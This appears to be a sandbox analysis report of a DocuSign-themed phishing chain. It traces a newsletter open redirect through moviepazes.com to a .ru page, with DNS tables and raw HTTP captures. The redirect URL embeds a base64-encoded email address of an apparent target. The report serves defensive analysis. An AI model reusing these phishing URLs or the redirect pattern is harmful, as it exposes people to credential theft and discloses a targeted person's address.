Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, 7.4.8.4.4.3.1.4.0.0.0.0.0.0.0.0.0.0.0.a.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://newsletter-editor.poweredbyintegra.dk/?NewsLetterTracker=true&bio=holstebrony&newsletter_ID=1&Text=Eget%20billede%20(ingen%20mellemrum)&Code=106&utcmabite=f9d0de3f-59af-46e8-b932-e8ab5db62f67&biocode=holstebrony&RedirectUrl=moviepazes.com/gredso/80c1f3626fe2dec57456150d34de5b50/ZGF2aWQuc2VkbGlja0BvbmVhdGxhcy5jb20=

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	9648
Entropy (8bit):	7.9099172475143416
Encrypted:	false
SSDEEP:	192:gwTgBYruFELhYmwd93mjW0l9OsENOLWcXdN4CLrHZfTtjOZgYM5cWjAaP6:gwTgBxaYmo5mS0l9OsuOL3NNVLlfTtjE
MD5:	4946EB373B18D178C93D473489673BB6
SHA1:	16477ACB73B63CA251D37401249E7E4515FEBD24
SHA-256:	666BC574C9F3FB28A8AC626FA8105C187C2A313736494A06BD5A937473673C92
SHA-512:	F684B90B748DC8399F76C5D8F94AF6C4E6869143F18D19CE435B25EAA14E9647B120467BDD0795895676DC0CCCDEABF82BEB2F46CE2C5BF4C58ED9C134F30C48
Malicious:	false
Reputation:	low
URL:	https://9qb.bitualicar.ru/opZe0Lz8ZET9wiwUPadEIO4lu5WVy6SjWos1KjpstUW8RTeD87CPd2Ioxph185udJn1QhLbfCkef232
Preview:	RIFF.%..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH......0....n.mu..G..t042.....@...`[...%...6....9AD.'@.,f.B...+..+..+..W&.p.....h.......f.-...+.....m...n....E....O].+R.&Q..#.X.ip4..p......\O...\/....9.5.a..DfZ,K....8.....Z..2..z......t.......\|.I.(..6E.D.}.C..OQD$S}iZ...[D.......q`(...@../.NQ......+"b%.X.D".G.*...0G...".2........x.O......7......E..&....e.F..4...K>.M..Pd.B...@'o./te..[.f....4[..a..x...9#.@$.=...t..=..t_.W....[..f.\|fv...N...c6..k4}.9.7.....f.F3.4[...a...;.m.@N.n.0.....n.G[c.H.}..t.{..;....G...2.::..].0....

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 22:23:03.822623014 CET	53	56212	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:04.141257048 CET	53	59277	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:07.275285959 CET	53	62883	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:07.326054096 CET	64991	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:07.326180935 CET	59977	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:07.333142042 CET	53	64991	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:07.333154917 CET	53	59977	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:07.511076927 CET	53	54610	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:09.951268911 CET	52109	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:09.951766014 CET	53478	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:09.995606899 CET	53	53478	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:10.005848885 CET	53	52109	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:14.560925007 CET	55751	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:14.561146975 CET	57337	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:14.581269979 CET	53	57337	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:14.590682030 CET	53	55751	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:17.617289066 CET	49798	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:17.617562056 CET	50916	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:17.631016016 CET	53	50916	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:17.863080978 CET	53	49798	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:18.948327065 CET	61094	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:18.948488951 CET	60929	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:18.955111980 CET	53	61094	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:18.955533981 CET	53	60929	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:20.963005066 CET	63083	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:20.963145971 CET	61668	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:21.014727116 CET	53	63083	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:21.021270037 CET	53	61668	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:21.337479115 CET	60366	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:21.337636948 CET	56096	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:21.344329119 CET	53	60366	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:21.344356060 CET	53	56096	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:24.520842075 CET	53	59758	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:24.800827026 CET	59302	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:24.800964117 CET	51012	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:24.801517010 CET	64963	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:24.801799059 CET	55433	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:24.802252054 CET	57709	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:24.802391052 CET	57759	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:24.808950901 CET	53	51012	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:24.809092045 CET	53	59302	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:24.809417963 CET	53	64963	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:24.810034037 CET	53	55433	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:24.810045004 CET	53	57709	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:24.810055017 CET	53	57759	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:29.018223047 CET	61692	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:29.018477917 CET	60955	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:29.026379108 CET	53	60955	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:29.040776014 CET	53	61692	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:31.161144018 CET	57710	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:31.161278963 CET	63390	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:31.168463945 CET	53	57710	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:31.168482065 CET	53	63390	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:41.827565908 CET	56947	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:41.827742100 CET	54834	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:41.838742971 CET	53	56947	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:41.922631025 CET	53	54834	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:43.505336046 CET	53	51531	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:45.878690004 CET	53	54081	162.159.36.2	192.168.2.4
Mar 13, 2025 22:23:46.015189886 CET	57805	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:46.015338898 CET	56516	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:46.035928965 CET	53	56516	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:46.065433025 CET	53	57805	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:46.347820044 CET	53	57108	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:46.968632936 CET	64363	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:46.968801975 CET	55698	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:47.017267942 CET	53	64363	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:47.079027891 CET	53	55698	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:48.653747082 CET	62131	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:48.653899908 CET	58089	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:48.660754919 CET	53	58089	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:48.660895109 CET	53	62131	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:50.034477949 CET	57534	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:50.034605980 CET	52782	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:50.037029028 CET	49257	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:50.037198067 CET	55263	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:50.040963888 CET	53	57534	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:50.041461945 CET	53	52782	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:50.061065912 CET	53	55263	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:50.063757896 CET	53	49257	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:52.560139894 CET	60815	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:52.560411930 CET	62106	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:52.566921949 CET	53	60815	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:52.567657948 CET	53	62106	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:55.436414003 CET	53	58676	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:55.616439104 CET	65506	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:55.616631031 CET	55247	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:55.625328064 CET	53	55247	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:55.678071022 CET	53	65506	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:56.600732088 CET	53532	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:56.600889921 CET	57360	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:23:56.608639956 CET	53	53532	1.1.1.1	192.168.2.4
Mar 13, 2025 22:23:56.611856937 CET	53	57360	1.1.1.1	192.168.2.4
Mar 13, 2025 22:24:00.004034042 CET	64710	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:24:00.004184961 CET	55979	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:24:00.019915104 CET	53	55979	1.1.1.1	192.168.2.4
Mar 13, 2025 22:24:00.052108049 CET	53	64710	1.1.1.1	192.168.2.4
Mar 13, 2025 22:24:00.062783003 CET	53352	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:24:00.062927008 CET	58170	53	192.168.2.4	1.1.1.1
Mar 13, 2025 22:24:00.069653034 CET	53	53352	1.1.1.1	192.168.2.4
Mar 13, 2025 22:24:00.087004900 CET	53	58170	1.1.1.1	192.168.2.4
Mar 13, 2025 22:24:02.717286110 CET	53	60336	1.1.1.1	192.168.2.4
Mar 13, 2025 22:24:06.536840916 CET	53	65507	1.1.1.1	192.168.2.4
Mar 13, 2025 22:24:07.558734894 CET	53	51166	1.1.1.1	192.168.2.4
Mar 13, 2025 22:24:10.268790007 CET	138	138	192.168.2.4	192.168.2.255

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 13, 2025 22:23:41.922725916 CET	192.168.2.4	1.1.1.1	c2dd	(Port unreachable)	Destination Unreachable
Mar 13, 2025 22:23:47.082789898 CET	192.168.2.4	1.1.1.1	c27b	(Port unreachable)	Destination Unreachable
Mar 13, 2025 22:24:00.092766047 CET	192.168.2.4	1.1.1.1	c23f	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2025 22:23:17.944149971 CET	505	OUT	GET /gredso/80c1f3626fe2dec57456150d34de5b50/ZGF2aWQuc2VkbGlja0BvbmVhdGxhcy5jb20= HTTP/1.1 Host: moviepazes.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Mar 13, 2025 22:23:18.866449118 CET	617	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 21:23:18 GMT Server: Apache X-Powered-By: PHP/7.4.33 Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 338 Keep-Alive: timeout=5 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 75 52 cb 4e c3 30 10 bc f3 15 96 10 4a 2b 51 3b 14 f5 40 e2 44 88 d7 bd 08 c1 b1 72 62 d7 b6 ea d8 91 bd 6e 5a 21 fe 9d 58 85 1e 50 d8 db ee 8c bc 33 b3 a6 0a 3a 53 53 25 18 af 29 68 30 a2 7e 17 5e 6f 8f da 4a 8c 31 25 a7 19 25 27 46 e3 f8 11 05 38 1a 51 65 20 0e b0 60 46 4b 5b a0 56 58 10 be 44 1d f3 52 db 05 b8 be 40 cb fc aa cc 6a aa 3b 89 82 6f ab 4c 01 f4 a1 20 24 f6 c6 31 8e 07 bd d3 9d e0 9a 61 e7 25 49 5d 9f 3a d2 ba ae 73 36 10 50 b1 6b 88 20 e2 96 3c b9 36 86 71 cf e6 25 1a b3 79 74 c6 79 1c f6 92 ac f2 bc 3f 2c fe 41 71 6f 65 86 98 81 2a 3b 3b ca 7e b5 0f 9a 83 4a 12 c7 07 4a a4 84 96 0a 0a c4 22 b8 24 b9 f1 63 22 37 7f 82 18 07 34 b4 5e f7 50 5f a0 89 0a 02 de 46 43 2e c2 6c 1b 6d 0b da d9 d9 1c 7d 4e 72 53 0d da 72 37 60 e3 5a 96 b8 58 79 b1 45 15 3a c7 74 b7 7e c0 8d 86 38 26 dc 32 8f 7d 24 cb f5 ea e3 f0 4c 2e 5f 39 db 6b 8e 83 e0 23 b4 bb 77 56 30 30 2c e0 31 b9 ac 9c dc f7 75 9d ac e6 f3 29 94 92 1f 57 94 a4 eb a6 53 a7 2f f1 0d b2 3c d5 f4 19 02 00 00 Data Ascii: uRN0J+Q;@DrbnZ!XP3:SS%)h0~^oJ1%%'F8Qe `FK[VXDR@j;oL $1a%I]:s6Pk <6q%yty?,Aqoe*;;~JJ"$c"74^P_FC.lm}NrSr7`ZXyE:t~8&2}$L._9k#wV00,1u)WS/<

Timestamp	Bytes transferred	Direction	Data
2025-03-13 21:23:20 UTC	704	OUT	GET /wikipedia/commons/thumb/e/e3/Docusign_Full_Color.svg/500px-Docusign_Full_Color.svg.png HTTP/1.1 Host: upload.wikimedia.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: http://moviepazes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 21:23:21 UTC	1064	IN	HTTP/1.1 200 OK content-type: image/png content-disposition: inline;filename=UTF-8''Docusign_Full_Color.svg.png last-modified: Thu, 11 Jul 2024 20:41:41 GMT content-length: 8239 date: Thu, 13 Mar 2025 00:18:53 GMT server: envoy etag: 54410d105da3a9c8efff8d184f7b33e1 age: 75867 x-cache: cp3075 hit, cp3075 hit/25 x-cache-status: hit-front server-timing: cache;desc="hit-front", host;desc="cp3075" strict-transport-security: max-age=106384710; includeSubDomains; preload report-to: { "group": "wm_nel", "max_age": 604800, "endpoints": [{ "url": "https://intake-logging.wikimedia.org/v1/events?stream=w3c.reportingapi.network_error&schema_uri=/w3c/reportingapi/network_error/1.0.0" }] } nel: { "report_to": "wm_nel", "max_age": 604800, "failure_fraction": 0.05, "success_fraction": 0.0} x-client-ip: 71.199.235.110 x-content-type-options: nosniff access-control-allow-origin: access-control-expose-headers: Age, Date, Content-Length, Content-Range, X-Content-Duration, X-Cache timing-allow-origin: * accept-ranges: bytes connection: close
2025-03-13 21:23:21 UTC	8239	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 f4 00 00 00 65 08 06 00 00 00 bb 9b 11 d8 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 07 74 49 4d 45 07 e8 07 0b 14 29 28 39 3e 54 e3 00 00 1f 33 49 44 41 54 78 da ed 9d 77 98 55 c5 d9 c0 7f 87 5d 7a 15 34 8a a0 80 40 b0 80 8a 1d 45 c1 88 46 05 cb 42 88 1a 63 a2 31 2a c6 f2 19 4b 4c e2 67 6c 89 49 8c d1 28 46 a3 31 f6 a8 01 01 1b a2 11 5b c4 82 0d 02 52 04 11 51 3f 54 a4 4b 87 dd fb fd f1 be c4 95 ec ee bd 33 f7 cc 39 e7 ee be bf e7 b9 8f 65 4f 99 99 33 33 ef cc 3b 6f 89 08 44 ee ca 2b 1b 31 6d da 6d 40 Data Ascii: PNGIHDRegAMAa cHRMz&u0`:pQ<bKGDtIME)(9>T3IDATxwU]z4@EFBc1*KLglI(F1[RQ?TK39eO33;oD+1mm@

Timestamp	Bytes transferred	Direction	Data
2025-03-13 21:23:23 UTC	470	OUT	GET /wikipedia/commons/thumb/e/e3/Docusign_Full_Color.svg/500px-Docusign_Full_Color.svg.png HTTP/1.1 Host: upload.wikimedia.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 21:23:23 UTC	1064	IN	HTTP/1.1 200 OK content-type: image/png content-disposition: inline;filename=UTF-8''Docusign_Full_Color.svg.png last-modified: Thu, 11 Jul 2024 20:41:41 GMT content-length: 8239 date: Thu, 13 Mar 2025 00:18:53 GMT server: envoy etag: 54410d105da3a9c8efff8d184f7b33e1 age: 75869 x-cache: cp3075 hit, cp3075 hit/26 x-cache-status: hit-front server-timing: cache;desc="hit-front", host;desc="cp3075" strict-transport-security: max-age=106384710; includeSubDomains; preload report-to: { "group": "wm_nel", "max_age": 604800, "endpoints": [{ "url": "https://intake-logging.wikimedia.org/v1/events?stream=w3c.reportingapi.network_error&schema_uri=/w3c/reportingapi/network_error/1.0.0" }] } nel: { "report_to": "wm_nel", "max_age": 604800, "failure_fraction": 0.05, "success_fraction": 0.0} x-client-ip: 71.199.235.110 x-content-type-options: nosniff access-control-allow-origin: access-control-expose-headers: Age, Date, Content-Length, Content-Range, X-Content-Duration, X-Cache timing-allow-origin: * accept-ranges: bytes connection: close
2025-03-13 21:23:23 UTC	8239	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 f4 00 00 00 65 08 06 00 00 00 bb 9b 11 d8 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 07 74 49 4d 45 07 e8 07 0b 14 29 28 39 3e 54 e3 00 00 1f 33 49 44 41 54 78 da ed 9d 77 98 55 c5 d9 c0 7f 87 5d 7a 15 34 8a a0 80 40 b0 80 8a 1d 45 c1 88 46 05 cb 42 88 1a 63 a2 31 2a c6 f2 19 4b 4c e2 67 6c 89 49 8c d1 28 46 a3 31 f6 a8 01 01 1b a2 11 5b c4 82 0d 02 52 04 11 51 3f 54 a4 4b 87 dd fb fd f1 be c4 95 ec ee bd 33 f7 cc 39 e7 ee be bf e7 b9 8f 65 4f 99 99 33 33 ef cc 3b 6f 89 08 44 ee ca 2b 1b 31 6d da 6d 40 Data Ascii: PNGIHDRegAMAa cHRMz&u0`:pQ<bKGDtIME)(9>T3IDATxwU]z4@EFBc1*KLglI(F1[RQ?TK39eO33;oD+1mm@

Timestamp	Bytes transferred	Direction	Data
2025-03-13 21:23:26 UTC	692	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://9qb.bitualicar.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 21:23:26 UTC	950	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 21:23:26 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: MISS Expires: Tue, 03 Mar 2026 21:23:26 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=At9jcM3A47V2WhUsGvKeuYbWEQvRkgkIRV%2BbLJoBjGkEPamAUFXTCtxLR8lNz572BypVlSpuxvF47GIcmdEbla%2BwxL8%2B2n6TC%2Bhv%2B6ZbgIZjwvXZN7gP5wy7tJ4xSliZXZCIwepe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 91fe97aa9982e14d-JAX alt-svc: h3=":443"; ma=86400
2025-03-13 21:23:26 UTC	419	IN	Data Raw: 37 62 66 62 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bfb!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-13 21:23:26 UTC	1369	IN	Data Raw: 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 7c 7c 66 75 6e 63 Data Ascii: his&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|func
2025-03-13 21:23:26 UTC	1369	IN	Data Raw: 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 79 7b 72 65 74 75 Data Ascii: );return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)try{retu
